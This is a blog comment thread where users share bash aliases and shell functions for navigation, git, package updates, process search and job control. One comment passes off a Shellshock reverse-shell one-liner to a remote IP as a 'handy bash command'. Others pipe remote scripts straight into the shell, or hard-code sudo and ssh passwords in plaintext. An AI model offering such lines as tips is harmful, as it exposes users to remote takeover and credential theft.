Organizing shell aliases into knowledge database

I'm surprised no one has mentioned:
alias ls='ls -F'
It will show * after executables, / after directories and @ after links.

• zork March 25, 2013, 6:03 pm

  John (Ko),

  The variations of dsd that I gave all include -F

  Give them a try.

Here are some tidbits I've setup to help troubleshoot things quickly

This one pings a router quickly

alias pr="ping \`netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print \$2}'\`"

This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping

export SN=`netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print \$2}' | sed 's/\.[0-9]*$//' `
ping $SN.254
nmap -p 80 $SN.*

This command which I just named 'p' will call ping and auto populate your current subnet. You'd call it like this to ping the router p 1

#!/bin/bash
[ "$#" -eq 1 ] || exit "1 argument required, $# provided"
echo $1 | grep -E -q '^[0-9]+$' || exit "Numeric argument required, $1 provided"
export HOST=$1
export SUBNET=`netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print \$2}'`
export IP=`echo $SUBNET | sed s/\.[0-9]*$/.$HOST/`
ping $IP

Quickly reload your .bashrc or .bash_profile

alias rl='. ~/.bash_profile'

Clear xterm buffer cache

alias clearx="echo -e '/0033/0143'"

Contrary to the clear command that only cleans the visible terminal area. AFAIK It's not an universal solution but it worths a try.

Edited by Admin as requested by OP.

• Eduard Seifert February 23, 2013, 6:44 pm

  alias clear='printf "33c"'

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• Eduard Seifert February 23, 2013, 6:44 pm

  alias clear='printf "33c"'

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I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use 'aa' for "add alias." It is always the first alias I create. Each job and each environ begin with 'aa' alias creation.

My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html

• DarrinMeek March 17, 2016, 10:05 pm

  Well, after three more years, I now have a Git Hub site to share my efforts: https://github.com/dmeekabc
  The auto-alias related efforts are included in the iboaUtils subdirectory.

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  • DarrinMeek March 17, 2016, 10:11 pm

    Here is the direct link to the iboaUtils:
    https://github.com/dmeekabc/tagaProductized/tree/master/iboaUtils

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    • Darrin Meek April 4, 2016, 10:12 pm

      IBOA Auto Alias Utility Six (6) Core Aliases:
      aa – Add Alias
      ea – Edit Alias
      ia – Insert Alias
      iap – Insert Alias (P)revious
      iapw – Insert Alias (P)revious (W)atch
      ta – Trace Alias

      Run the iboaInstall.sh file to install the utility including all of the user/group/system alias files.
      https://github.com/dmeekabc/tagaProductized/blob/master/iboaUtils/iboaInstall.sh

      Reply Link

Nowadays, git is so popular, we can not miss it
These are my git aliases

alias g="git"
alias gr="git rm -rf"
alias gs="git status"
alias ga="g add"
alias gc="git commit -m"
alias gp="git push origin master"
alias gl="git pull origin master"

alias sd="echo michoser | sudo -S"

alias ai="sd apt-get –yes install"
alias as="apt-cache search"
alias ar="sd apt-get –yes remove"

alias .p="pushd ."
alias p.="popd"

Regarding the cd aliases (#2), you can use the autocd bash option (run 'shopt -s autocd') to change directories without using cd. Then, you can just type '..' to go up one directory, or '../..' to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to '.:$HOME' (run 'export CDPATH=.:$HOME'), then run 'cd Documents' you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).

I don't use aliases. As the bash man page says:

"For almost every purpose, aliases are superseded by shell functions."

At the top of my .bashrc I have 'unalias -a' to get rid of any misguided aliases installed by /etc/profile.

• Benny October 22, 2013, 8:02 pm

  Interesting comment, Chris. I decided it would be an interesting experiment to try to take some of these alias ideas and convert them to functions. When I tried on the one called "fastping" I couldn't seem to make it work. Ideas?

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• Henrik Kjelsberg March 6, 2014, 8:06 am

  Aliases are handy and quicker to set up than functions. I guess you could argue that if your fluent with `history` you don't necessarily need aliases and aliases will not be available if your working on someone else's box, but I think a combination makes perfect sense, their quick :)

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  • TD August 7, 2014, 8:00 am

    Who says you can't use your own aliases when working on a box?

    . <(curl -sS domain.tld/scripts/.bashrc)

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    • r0tty October 3, 2014, 8:28 am

      This is completely brilliant – I am implementing it now.

      Also, I completely agree with whoever said aliasing rm is a very bad idea. I don't think it's a good idea to use any alias that can get you into trouble if the alias is not defined.

      Finally, I think it's a very good idea not to define any alias that will hinder your recall of the command should you be in a situation where you don't have access to the alias. A job interview being the most important scenario. You can only smugly answer questions with 'no, I don't know the options to that command, because I define an alias so I don't have to remember' so many times before they conclude you don't know what you're talking about.

      Rotty

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The aliases that I use the most (also a lot of shell functions):
alias j='jobs -l'
alias h='history'
alias la='ls -aF'
alias lsrt='ls -lrtF'
alias lla='ls -alF'
alias ll='ls -lF'
alias ls='ls -F'
alias pu=pushd
alias pd=popd
alias r='fc -e -' # typing 'r' 'r'epeats the last command

Sizes of the directories in the current directory
alias size='du -h –max-depth=1′

Useful alias. Thanks mates.

I find the following useful too

alias tf='tail -f '

# grep in *.cpp files
alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=always '
# grep in *.cpp files
alias findhg='find . -iname "*.h" | xargs grep -ni --color=always '

#finds that help me cleanup when hit the limits

alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 5000) print \$0 }'"
alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 500000) print \$0 }'"

#show only my procs
alias psme='ps -ef | grep $USER --color=always '

Very nice alias list.
Here's another very handy alias:

alias psg='ps -ef | grep'

ex: looking for all samb processes:

psg mbd

• Justin Garrison October 22, 2014, 3:13 pm

  Try this one instead. It will remove the search from your results

  psg='ps aux | grep -v grep | grep -i -e VSZ -e'

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Here is the most important alias:

alias exiy='exit'

I did learn some new things. Thanks for that.

Regarding:
# Do not wait interval 1 second, go fast #
alias fastping='ping -c 100 -s.2′

From reading the man page i gather the '-s' should be '-i' instead.

ping(8):
-s packetsize
Specifies the number of data bytes to be sent.

-i interval
Wait interval seconds between sending each packet. The
default is to wait for one second between each packet
normally, or not to wait in flood mode. Only super-user
may set interval to values less 0.2 seconds.

Back Up [function, not alias] – Copy a file to the current directory with today's date automatically appended to the end.

bu() { cp $@ [email protected]`date +%y%m%d`; }

Add to .bashrc or .profile and type: "bu filename.txt"
–
I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:

bu() { cp $@ [email protected]`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.backups.log; }

I hope someone finds this helpful!

• ahmed April 21, 2013, 1:03 am

  i did!
  thanks a lot

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• Benny October 22, 2013, 7:41 pm

  Excellent idea, Thomas!

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  • Ingo November 22, 2013, 7:51 pm

    Great idea! Will add this one to my aliases!

    Is there a specific reason to use $@ instead of $1?

    I also added quotes around the parameters, otherwise it won't work with file names that include whitespace, I have it like this now:

    bu() { cp "$1" "$1".backup-`date +%y%m%d`; }

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• Dean September 23, 2014, 5:13 pm

  Brilliant. Thanks.
  I use this before I edit any config file I might need/want to change back later.
  I also added %H%M%S so I can save a copy each time without dupe file names.
  Thanks again.
  I suppose one could also include something like this in an alias for vi to automatically create a backup file before launching vi…hmmmm….

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I am learning to love simple functions in .bashrc

mcd () {
mkdir -p $1;
cd $1
}

But the great aliases are in the cmd prompt under windoze:

run doskey /macrofile=\doskey.mac

then set up a doskey,mac in root directory with the CORRECT commands

ls=dir $* /o/w
cat=type $*
rm=del $*
lsl=dir $* /o/p
quit=exit

yes, I have to work in the sludgepit, but I can fix the command set

Since I work in a number of different distributions, I concatenated 17 and 18:

case $(lsb_release -i | awk '{ print $3 }') in

Ubuntu|Debian)
alias apt-get="sudo apt-get"
alias updatey="sudo apt-get –yes"
alias update='sudo apt-get update && sudo apt-get upgrade'
;;

CentOS|RedHatEnterpriseServer)
alias update='yum update'
alias updatey='yum -y update'
;;
esac

Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don't have either of those handy to get the output of lsb_release.

• mirek December 27, 2016, 7:17 pm

  lsb_release is not installed everywhere following code works better for me

  if cat /proc/version | grep -i -e ubuntu -e debian -e raspbian > /dev/null 2>&1 ; then
      alias update="sudo apt-get update && sudo apt-get upgrade";
  elif cat /proc/version | grep -i -e centos -e redhatenterpriseserver -e fedora > /dev/null 2>&1 ; then
      alias update="sudo yum update";
  fi

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alias gtl='git log'
alias gts='git status'

I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use 'complete' to add the pids to the completion list of my kill command so I can hit escape and it will fill in the rest. Better to show it than describe it:

alias kk='sudo kill' # Expecting a pid
pss() {
[[ ! -n ${1} ]] && return; # bail if no argument
pro="[${1:0:1}]${1:1}"; # process-name –> [p]rocess-name (makes grep better)
ps axo pid,command | grep -i ${pro}; # show matching processes
pids="$(ps axo pid,command | grep -i ${pro} | awk '{print $1}')"; # get pids
complete -W "${pids}" kk # make a completion list for kk
}

Now I can do (for example):

zulu:/Users/frank $ pss ssh
3661 /usr/bin/ssh-agent -l
2845 ssh -Nf -L 15900:localhost:5900 [email protected]
zulu:/Users/frank $ kk 2 (hit escape key to complete 2845)
zulu:/Users/frank $

Hey, very useful tips!
here's mine:

chmoddr()   {
  # CHMOD _D_irectory _R_ecursivly

  if [ -d "$1" ]; then
   echo "error: please use the mode first, then the directory";
   return 1;
  elif [ -d "$2" ]; then
   find $2 -type d -print0 | xargs -0 chmod $1;
  fi
}

assimilate(){
  _assimilate_opts="";

  if [ "$#" -lt 1 ]; then   echo "not enough arguments";    return 1;  fi
  SSHSOCKET=~/.ssh/assimilate_socket.$1;
  echo "resistence is futile! $1 will be assimilated";
  if [ "$2" != "" ]; then
    _assimilate_opts=" -p$2 ";
  fi

  ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1;
  if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed! (no socket)"; return 1; fi

  ### begin assimilation

  # copy files
  scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~;
  scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~;

  # import ssh key
  if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep -f - ~/.ssh/authorized_keys") ]]; then
    ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null 2>&1";
    ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "cat >> ~/.ssh/authorized_keys"
  fi
  ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh";

  ### END
  ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null;
}

Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered 'watch'. I use for monitoring log tails and directory contents and sizes.

alias watchtail='watch -n .5 tail -n 20′
alias watchdir='watch -n .5 ls -la'
alias watchsize='watch -n .5 du -h –max-depth=1′

• harry June 4, 2013, 3:09 am

  I forgot that third one: I use for monitoring small directories ( < 100M ). This would choke on large directories. Just increase the watch interval if you need to watch larger directories. The default interval for watch is 2 seconds.

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• Bob September 20, 2013, 4:36 pm

  tail has a 'watch'-like option, though it doesn't refresh the screen like watch

  tail -f -n 20 (though, really, the line number isn't as necessary in tail -f as it is in watch)

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I have the same "ll" alias, I use constantly. Here are a few others:

# grep all files in the current directory
function _grin() { grep -rn --color $1 .;}
alias grin=_grin
# find file by name in current directory
function _fn() { find . -name $1;}
alias fn=_fn

Hi,
I published my .bashrc:
http://vanmontfort.be/pub/linux/.bashrc

Greetings,
Philip

• Philip Vanmontfort April 17, 2014, 12:44 pm

  i updated the link:
  http://philip.vanmontfort.be/bestanden/linux/bashrc

  Reply Link

three letters to tune into my favorite radio stations

alias dlf="/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dlf.m3u|head -1)"

alias dlr="/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dkultur.m3u|head -1)"

sometimes I swap my keyboards, then I use

alias tastatur="setxkbmap -model cherryblue -layout de -variant ,nodeadkeys"

When using mplayer you may set bookmarks using 'i'. You may read it easyer using

mplay() { 
	export EDL="$HOME/.mplayer/current.edl"
	/usr/local/bin/mplayer -really-quiet -edlout $EDL $* ;
	echo $(awk '{print $2 }' $EDL | cut -d, -f1 | cut -d. -f1 )
	}

Buring ISO-images does not need starting GUIs and clicking around

alias isowrite="cdrecord dev=1,0,0 fs=32M driveropts=burnfree speed=120 gracetime=1 -v -dao -eject -pad -data 

Be aware the device must be adjusted. Not every default will fit for you to "isowrite /some/where/myimage.iso".

Really useful command

In 30 years of living at the *nix commandline I found that I really only need 2 aliases
for my bash shell (used to be ksh, but that's been a while)

  alias s=less        # use less a lot to see config files and logfiles
  alias lst='ls -ltr'   # most recently updated files last

when checking for servers and tcp ports for a non root user these are also handy

  alias myps='ps -fHu $USER'     # if not $USER, try $LOGIN
  alias myports="netstat -lntp 2>/dev/null | grep -v ' - *$'"  # Linux only?

I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
alias mmm="/standard/target/directory/"
cp /various/file/source mmm
but this doesn't work: just creates a duplicate named mmm

Is there a way to do this?
tim

• nixCraft August 11, 2013, 8:15 am

  Add mmm to $HOME/.bashrc as follows:

  export mmm="/standard/target/directory/"

  Logout and login again. Verify that $mmm is set:

  echo $mmm

  Now run the command:

  cp /various/file/source $mmm

  HTH

  Reply Link
  • Tim August 12, 2013, 4:52 am

    Thank you very much!

    Tim

    Reply Link

thanks

Very nice and useful, thank you!

I can never remember the right flags to pass when extracting a tarball, so I have this custom alias:

alias untar='tar -zxvf'

I use this "alias" - its really a function - to do a quick check of JSON files on the command line:

function json() { cat "$@" | /usr/bin/python -m json.tool ;}

usage: json file.json

If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.

Works great for quickly testing JSON files!

Nice list, this file is so great for repetitive tasks.

Here's mine.

This is a great list most of my favorites have already been listed but this one hasn't quite been included and i use more than any other, except maybe 'lt'
Thanks to James from comment #28 it now doesn't include the command its self in the list!

# grep command history.  Uses function so a bare 'gh' doesn't just hang waiting for input.
function gh () {
  if [ -z "$1" ]; then
    echo "Bad usage. try:gh run_test";
  else
    history | egrep $* |grep -v "gh $*"
  fi
}

I also offer this modification to your #8

alias h='history 100'     # give only recent history be default.

other favorites of mine, all taken from elsewhere, are:

alias wcl='wc -l'        # count # of lines
alias perlrep='perl -i -p -e '               # use perl regex to do find/replace in place on files.  CAREFUL!!

# list file/folder sizes sorted from largest to smallest with human readable sizes

function dus () {
du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {size=$1/1024/1024; unit="G"} else if($1>=1024) {size=$1/1024; unit="M"} else {size=$1; unit="K"}; if(size<10) format="%.1f%s"; else format="%.0f%s"; res=sprintf(format,size,unit); printf "%-8s %s\n",res,$2 }'

• Hiatus February 25, 2016, 12:48 am

  the dus function is missing a proper ending. Add ; }

  Reply Link
• ychaouche December 26, 2016, 10:17 am

  You want sort -h and du -h

  du -h --max-depth=1 | sort -h

  Sample output :

  368K    ./MACONF
  452K    ./.gimp-2.8
  628K    ./.pip
  ...
  1.0M    ./.gstreamer-0.10
  2.6M    ./PROG
  3.3M    ./.adobe
  ...
  1.2G    ./BACKUPS
  1.5G    ./.local
  5.3G    ./TMP
  ...
  

  Reply Link

Alias the word unalias into a 65000 character long password… :)

Likewise alias bin.bash as $=unalias-1

So you are not truly lazy until you see this in somebody's alias file

alias a='alias'

:)

TimC

It's a bit off topic but the lack of a good command line trash can command has always seemed like a glaring omission to me.
I usually name it tcan or tcn.
http://wiki.linuxquestions.org/wiki/Scripting#Command_Line_Trash_Can

just use Ctrl-D

On OS-X 10.9 replace 'ls –color=auto' with 'ls -G'

# Define a command to cd then print the resulting directory.
# I do this to avoid putting the current directory in my prompt.
alias cd='cdir'
function cdir ()
{
\cd "$*"
pwd
}

function mkcd(){
mkdir -p $1
cd $1
}

Lots of great suggestions here.

I use so many aliases and functions that I needed one to search them.

function ga() { alias | grep -i $*; functions | grep -i $*}

This is not so nice with multiple line functions and could be improved with a clever regex.

# Find a file from the current directory
alias ff='find . -name '

# grep the output of commands
alias envg='env | grep -i'
alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | grep -i'
alias aliasg='alias | grep -i'
alias hg='history | grep -i'

# cd to the directory a symbolically linked file is in.
function cdl {
    if [ "x$1" = "x" ] ; then
        echo "Missing Arg"
    elif [ -L "$1" ] ; then
        link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10`
        if [ "x$link" = "x" ] ; then
            echo "Failed to get link"
            return
        fi
        dirName_=`dirname $link`
        cd "$dirName_"
    else
        echo "$1 is not a symbolic link"
    fi
    return
}
# cd to the dir that a file is found in.
function cdff {
    filename=`find . -name $1 | grep -iv "Permission Denied" | head -1`
    if [ "xx${filename}xx" != "xxxx" ] ; then
        dirname=${filename%/*}
        if [ -d $dirname ] ; then
            cd $dirname
        fi
    fi
}

export EDITOR=vim
export PAGER=less
set -o vi
eval `resize`

# awk tab delim  (escape '\' awk to disable aliased awk)
tawk='\awk -F "\t" '
# case insensitive grep
alias ig="grep --color -i "


# ls sort by time
alias lt="ls -ltr "
# ls sort by byte size
alias lS='ls -Slr'

# ps by process grep  (ie. psg chrome)
alias psg='\ps -ef|grep --color '
# ps by user 
alias psu='\ps auxwwf '
# ps by user with grep (ie. psug budman)
alias psug='psu|grep --color '

# find broken symlinks
alias brokenlinks='\find . -xtype l -printf "%p -> %l\n"'


# which and less a script (ie. ww backup.ksh)
function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;less $_f;fi }

# use your own vim cfg (useful when logging in as other id's)
alias vim="vim -u /home/budman/.vimrc"

For those of you who use Autosys:

# alias to read log files based on current run date (great for batch autosys jobs)
# ie.  slog mars-reconcile-job-c
export RUN_DIR=~/process/dates
function getRunDate {
    print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_profile)
}
function getLogFile {
    print -n $RUN_DIR/$(getRunDate)/log/$1.log
}
function showLogFile {
    export LOGFILE=$(getLogFile $1);
    print "\nLog File: $LOGFILE\n";
    less -z-4 $LOGFILE;
}
alias slog="showLogFile "


# Autosys alaises
alias av="autorep -w -J "
alias av0="autorep -w -L0 -J "
alias avq="autorep -w -q -J "
alias aq0="autorep -w -L0 -q -J "
alias ava="autorep -w -D PRD_AUTOSYS_A -J "
alias avc="autorep -w -D PRD_AUTOSYS_C -J "
alias avt="autorep -w -D PRD_AUTOSYS_T -J "
alias am="autorep -w -M "
alias ad="autorep -w -d -J "
alias jd="job_depends -w -c -J "
alias jdd="job_depends -w -d -J "
alias jrh="jobrunhist -J "
alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J "
alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J "
alias runjob="sendevent -P 1 -E STARTJOB -J "
alias killjob="sendevent -P 1 -E KILLJOB -J "
alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J "
alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J "
alias onice="sendevent -P 1 -E JOB_ON_ICE -J "
alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J "
alias office="sendevent -P 1 -E JOB_OFF_ICE -J "
alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -J "
alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J "
alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -J "
alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX"
alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX"
alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX"
alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"

heres a few i use

alias killme='slay $USER'

function gi(){
npm install --save-dev grunt-"$@"
}

function gci(){
npm install --save-dev grunt-contrib-"$@"
}

alias v='vim'
alias vi='vim'
alias e='emacs'
alias t='tail -n200'
alias h='head -n20'
alias g='git'
alias p='pushd'
alias o='popd'
alias d='dirs -v'
alias rmf='rm -rf'

# ls working colorful on all OS'es
#linux
if [[ `uname` == Linux ]]; then
    export LS1='--color=always'
#mac
elif [[ `uname` == Darwin* ]]; then
    export LS1='-G'
#win/cygwin/other
else 
    export LS1='--color=auto'
fi
export LS2='-hF --time-style=long-iso'
alias l='ls $LS1 $LS2 -AB'

Here is one to do a update and upgrade with no user input. Just insert your sudo
password for yourpassword

alias udug='echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y'

• Henrik Kjelsberg May 27, 2014, 5:59 pm

  Having your password lying around in plain text is never a good idea.

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  • jfb May 28, 2014, 7:28 pm

    I am the only one who uses this computer. My daughter, granddaughter, daughter's
    boyfriend and my four dogs all use Windoz. They have no idea what a alias or a terminal is.

    Reply Link
    • systemBuilder January 6, 2017, 2:26 am

      It is far better to put the commands into a setuid shell script, then you don't have to EVER put your password into plaintext anywhere on UNIX / Linux:

      echo "sudo -S apt-get update && sudo apt-get upgrade -y" > /tmp/udug ; sudo mv /tmp/udug /usr/bin/udug
sudo chmod 755 /usr/bin/udug
sudo chmod u+s /usr/bin/udug

      Reply Link
• AndyB July 11, 2014, 2:46 am

  If you want to run apt-get without having to supply a sudo password, just edit the sudo config file to allow that. (Replace "jfb" in this example with your own login).

  jfb ALL=(root) NOPASSWD: /usr/bin/apt-get

  Hint: edit the config file with "sudo visudo", not "sudo vim /etc/sudoers". Visudo will check that you haven't totally screwed up the config file before writing it out.

  Reply Link

Hey, Just wanted to add my 5 cents.

I use this to make me think before rebooting/shutting down hosts;

alias reboot='echo "Are you sure you want to reboot host `hostname` [y/N]?" && read reboot_answer && if [ "$reboot_answer" == y ]; then /sbin/reboot; fi'

alias shutdown='echo "Are you sure you want to shutdown host `hostname` [y/N]?" && read shutdown_answer && if [ "$shutdown_answer" == y ]; then /sbin/shutdown -h now; fi'

Thank you. Great list.

#2: Control cd command behavior

## get rid of command not found ##
alias cd..='cd ..'

## a quick way to get out of current directory ##
alias ..='cd ..'
alias …='cd ../../../'
alias ….='cd ../../../../'
alias …..='cd ../../../../' <– typo, I think you meant to add an extra level of ../ to this!
alias .4='cd ../../../../'
alias .5='cd ../../../../..'

There's another handy bash command I've come by recently in the past days.

() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.012/3333 0>&1

• foo October 22, 2014, 12:23 am

  shellshock douchebaggery

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Here are a couple that I have to make installing software on Ubuntu easier:

alias sdfind='~/bin/sdfind.sh'
alias sdinst='sudo apt-get install'

Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.

# Find all IP addresses connected to your network

alias netcheck='nmap -sP $(ip -o addr show | grep inet\  | grep eth | cut -d\  -f 7)'

# See real time stamp when running dmesg

alias dmesg='dmesg|perl -ne "BEGIN{\$a= time()- qx:cat /proc/uptime:};s/\[\s*(\d+)\.\d+\]/localtime(\$1 + \$a)/e; print \$_;" | sed -e "s|\(^.*"`date +%Y`" \)\(.*\)|\x1b[0;34m\1\x1b[0m - \2|g"'

You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…

# Nice readable way to see memory usage

alias minfo='egrep "Mem|Cache|Swap" /proc/meminfo'

# Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb

myusb () { usb_array=();while read -r -d $'\n'; do usb_array+=("$REPLY"); done < <(find /dev/disk/by-path/ -type l -iname \*usb\*scsi\* -not -iname \*usb\*scsi\*part* -print0 | xargs -0 -iD readlink -f D | cut -c 8) && for usb in "${usb_array[@]}"; do echo "USB drive assigned to sd$usb"; done; }

And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.

Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.

It's a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:

alias gr="grep -E -i –color"

And remember the man page:
"For almost every purpose, aliases are superseded by shell functions."

• ychaouche December 26, 2016, 2:58 pm

  Got me a couple times too, wasted an awful amount of time on that.

  Reply Link
• systemBuilder January 6, 2017, 2:17 am

  I think if you use –color=auto, then the colors will only be applied when the output is a tty. However, I do agree that it's a very bad idea to rename commands with aliases; it is much better to create your own command names such as 'cgrep' , 'cfgrep', 'cegrep', etc.

  Reply Link

Is passing all commands via sudo safe?

Sometimes when working with text files this is quite helpful:

alias top10="sort|uniq -c|sort -n -r|head -n 10″

# list usernames
alias lu="awk -F: '{ print \$1}' /etc/passwd"

# better ls
alias ls='ls -lAi --group-directories-first --color='always''

# make basic commands interactive and verbose
alias cp='cp -iv'      # interactive
alias rm='rm -ri'      # interactive
alias mv='mv -iv'       # interactive, verbose
alias grep='grep -i --color='always''  # ignore case

# starts nano with line number enabled
alias nano='nano -c'

# clear screen
alias cl='clear'

# shows the path variable
alias path='echo -e ${PATH//:/\\n}'

# Filesystem diskspace usage
alias dus='df -h'

# quick ssh to raspberry pi
alias raspi='ssh [email protected]'

# perform 'ls' after 'rm' if successful.
rmls() {
  rm "$*"
  RESULT=$?
  if [ "$RESULT" -eq 0 ]; then
    ls
  fi
}

alias rm='rmls'

# reloads changes
alias rfc='source ~/.bashrc; cl'
alias rf='source ~/.bashrc'

# perform 'ls' after 'cd' if successful.
cdls() {
  builtin cd "$*"
  RESULT=$?
  if [ "$RESULT" -eq 0 ]; then
    ls
  fi
}

alias cd='cdls'

# quick cd back option
alias ..='cd ..'

# search for a string recursively in any C source files 
alias src-grep='find . -name "*.[ch]" | xargs grep '

# for easily editting the path variable
nanopath () 
{ 
    declare TFILE=/tmp/path.$LOGNAME.$$;
    echo $PATH | sed 's/^:/.:/;s/:$/:./' | sed 's/::/:.:/g' | tr ':' '12' > $TFILE;
    nano $TFILE;
    PATH=`awk ' { if (NR>1) printf ":"
      printf "%s",$1 }' $TFILE`;
    rm -f $TFILE;
    echo $PATH
}  

alias nanopath='nanopath'

• ychaouche December 26, 2016, 3:00 pm

  Why on earth would you alias nanopath to nanopath ?

  Reply Link

in my experiance it is esasier to put the scripts you want to use aliases for in your .bash_aliases file. like so

~/nano .bash_aliases
rmls() {
  rm "$*"
  RESULT=$?
  if [ "$RESULT" -eq 0 ]; then
    ls
  fi
}

here is a function. and to make an alias for it is as simple as:

alias name='functionName args'

so for my example function it would be
alias rm='rmls'

Great list! There are certainly some I going to use!
I also have some that maybe are so obvious nobody even finds it worth mentioning…

But since I'm a lazy beast:
alias getupdates='sudo apt-get update && sudo apt-get upgrade'
alias backupstuff='rsync -avhpr --delete-delay /some/location/foo/bar /media/your/remote/location'
alias enter_some_user='ssh -p 9999 [email protected]'

Nice!

quick update bashrc etc:
alias bashrc="vim ~/.bashrc && source ~/.bashrc"

#To play a random collection of music from your music library.
#(You need to have VLC installed)
alias play='nvlc /media/myklmar/MUSIC/mymusic/ -Z'

Great!…Keep working

Doing update on Mageia linux

alias doupdate="urpmi –auto –auto-update"

Whats the weather doing?

alias rain='curl -4 http://wttr.in'
alias rain='curl -4 http://wttr.in/London'

Here is a repository with several useful aliases. You may want to have a look: https://github.com/algotech/dotaliases

Thanks.
Will the aliases appear using the "top" command?
How would like to see the alias name rather than the command name of the process. Is that possible?
Cheers.

• Vivek Gite August 26, 2016, 5:57 pm

  Noop. It will show actual command in top or ps output.

  Reply Link

One of my favorite: copy something from command line to clipboard:
alias c='xsel --clipboard'
Then use like:
grep John file_for_contacts | c
now, john's contact info is copied to the clipboard, etc.

alias s="sshpass -p'mypassword' ssh"

# Count the number of files in current dir
alias lsc='ls -l | wc -l'

# Sort directories by sizes
alias dush='du -h --max-depth=1 | sort -h'

# Can't see all the files in one page ? 
alias lsless='ls | less'

# Make a video capture of the desktop
alias capturedesktop='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0'

# Capture desktop, with sound
alias capturedesktop_withsound='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0 -f alsa -i hw:0 '

# pastebin from the command line, use it like this : 
# somecommand | some pipe work | pastebin
alias pastebin='curl -F "clbin=<-" "https://clbin.com"'

# Only print actual code/configuration
alias removeblanks="egrep -v '(^[[:space:]]*#|^$|^[[:space:]]*//)'"

# Useful when you want to scp to your own machine from a remote server
alias myip='ifdata -pa eth1'

Some useful functions too

function timedelta {
    d1=$1
    d2=$2
    echo $(( ($(date +%s -d $d1) - $(date +%s -d $d2)) / (60 * 60 * 24) ))
}
#ychaouche@ychaouche-PC 16:33:12 ~/TMP/NETWORK $ timedelta 2016-12-26 2014-11-16
#771
#ychaouche@ychaouche-PC 16:33:42 ~/TMP/NETWORK $ 
#It's been 771 days since I work in this place.

# Searches inside PDF files
# searchpdf "term" file1 file2 file3...
function searchpdf {
    term="$1"
    shift 1
    for file in $@
    do 
	echo ============================ 
	echo $file 
	echo ============================ 
	pdftotext "$file" - | grep "$term"
    done
}

# Converts any video to a gif and compresses it.

function vid2gif () {
    video=$1
    name=${video%.*}
    gif="$name".gif
    echo avconv -i "$video" -pix_fmt rgb24 -r 5 -f gif "$gif"-
    avconv -i "$video" -pix_fmt rgb24 -r 5 -f gif "$gif"-
    echo gifsicle -O3 -U "$gif"- -o "$gif"
    gifsicle -O3 -U "$gif"- -o "$gif"
}

List files in order of ascending size (the second form takes a file-pattern argument):

function lsdu() { ls -l $* | sort --key=5.1 -n; };
function lsduf() { ls -l | egrep $* | sort --key=5.1 -n; };

List the 10 most recently edited/changed files (m = more, a poor-man's more)

alias lsm='ls -lt | head -n 10'

List the tasks using the most CPU time

alias hogs='ps uxga | sort --key=4.1 -n'

